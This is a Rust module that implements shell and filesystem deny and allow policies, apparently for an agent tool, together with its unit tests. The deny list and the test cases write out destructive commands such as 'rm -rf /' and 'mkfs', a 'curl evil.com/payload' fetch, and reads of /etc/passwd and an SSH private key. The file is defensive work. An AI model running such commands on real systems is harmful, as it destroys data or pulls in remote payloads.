use serde::Deserialize;
use crate::error::{Error, Result};
use crate::permissions::{DecisionReason, RuleSource};
#[derive(Debug, Clone, Deserialize, Default)]
pub struct FsPolicy {
#[serde(default)]
pub read_allow: Vec<String>,
#[serde(default)]
pub write_allow: Vec<String>,
#[serde(default)]
pub deny: Vec<String>,
}
#[derive(Debug, Clone, Deserialize, Default)]
pub struct ShellPolicy {
#[serde(default)]
pub deny_patterns: Vec<String>,
}
#[derive(Debug, Clone, Deserialize, Default)]
pub struct PolicyConfig {
#[serde(default)]
pub fs: FsPolicy,
#[serde(default)]
pub shell: ShellPolicy,
}
impl PolicyConfig {
pub fn default_restrictive() -> Self {
Self {
fs: FsPolicy::default(),
shell: ShellPolicy {
deny_patterns: vec![
"rm -rf /".into(),
"rm -rf ~".into(),
"mkfs".into(),
"> /dev/".into(),
],
},
}
}
pub fn check_shell(&self, command: &str) -> Result<()> {
for pattern in &self.shell.deny_patterns {
if command.contains(pattern.as_str()) {
return Err(Error::PermissionDenied {
name: format!("shell command blocked by policy: matches pattern `{pattern}`"),
reason: DecisionReason::Rule {
source: RuleSource::Project,
pattern: pattern.clone(),
},
});
}
}
Ok(())
}
pub fn check_fs_path(&self, path: &str, write: bool) -> Result<()> {
for denied in &self.fs.deny {
if path.starts_with(denied.as_str()) {
return Err(Error::PermissionDenied {
name: format!("path `{path}` blocked by fs deny policy"),
reason: DecisionReason::SafetyCheck {
path: path.to_string(),
},
});
}
}
let allow_list = if write {
&self.fs.write_allow
} else {
&self.fs.read_allow
};
if !allow_list.is_empty() {
let allowed = allow_list
.iter()
.any(|prefix| path.starts_with(prefix.as_str()));
if !allowed {
let kind = if write { "write" } else { "read" };
return Err(Error::PermissionDenied {
name: format!("path `{path}` not in fs {kind} allow list"),
reason: DecisionReason::SafetyCheck {
path: format!("{path} ({kind})"),
},
});
}
}
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn check_shell_allows_safe_command() {
let policy = PolicyConfig::default_restrictive();
assert!(policy.check_shell("ls -la").is_ok());
assert!(policy.check_shell("echo hello").is_ok());
assert!(policy.check_shell("cargo test").is_ok());
}
#[test]
fn check_shell_blocks_rm_rf() {
let policy = PolicyConfig::default_restrictive();
let err = policy.check_shell("rm -rf /").unwrap_err();
assert!(matches!(err, Error::PermissionDenied { .. }));
}
#[test]
fn check_shell_blocks_pattern_substring() {
let policy = PolicyConfig::default_restrictive();
let err = policy
.check_shell("sudo rm -rf / --no-preserve-root")
.unwrap_err();
assert!(matches!(err, Error::PermissionDenied { .. }));
}
#[test]
fn check_shell_custom_pattern() {
let policy = PolicyConfig {
shell: ShellPolicy {
deny_patterns: vec!["curl evil.com".into()],
},
..Default::default()
};
assert!(policy.check_shell("curl safe.com").is_ok());
let err = policy.check_shell("curl evil.com/payload").unwrap_err();
assert!(matches!(err, Error::PermissionDenied { .. }));
}
#[test]
fn check_fs_deny_blocks_path() {
let policy = PolicyConfig {
fs: FsPolicy {
deny: vec!["/etc".into(), "/root".into()],
..Default::default()
},
..Default::default()
};
let err = policy.check_fs_path("/etc/passwd", false).unwrap_err();
assert!(matches!(err, Error::PermissionDenied { .. }));
let err = policy.check_fs_path("/root/.ssh/id_rsa", true).unwrap_err();
assert!(matches!(err, Error::PermissionDenied { .. }));
}
#[test]
fn check_fs_allow_list_blocks_outside() {
let policy = PolicyConfig {
fs: FsPolicy {
write_allow: vec!["/workspace".into()],
..Default::default()
},
..Default::default()
};
assert!(policy.check_fs_path("/workspace/foo.txt", true).is_ok());
let err = policy.check_fs_path("/tmp/foo.txt", true).unwrap_err();
assert!(matches!(err, Error::PermissionDenied { .. }));
}
#[test]
fn check_fs_empty_allow_list_allows_all() {
let policy = PolicyConfig::default(); assert!(policy.check_fs_path("/anywhere/file.txt", false).is_ok());
assert!(policy.check_fs_path("/anywhere/file.txt", true).is_ok());
}
}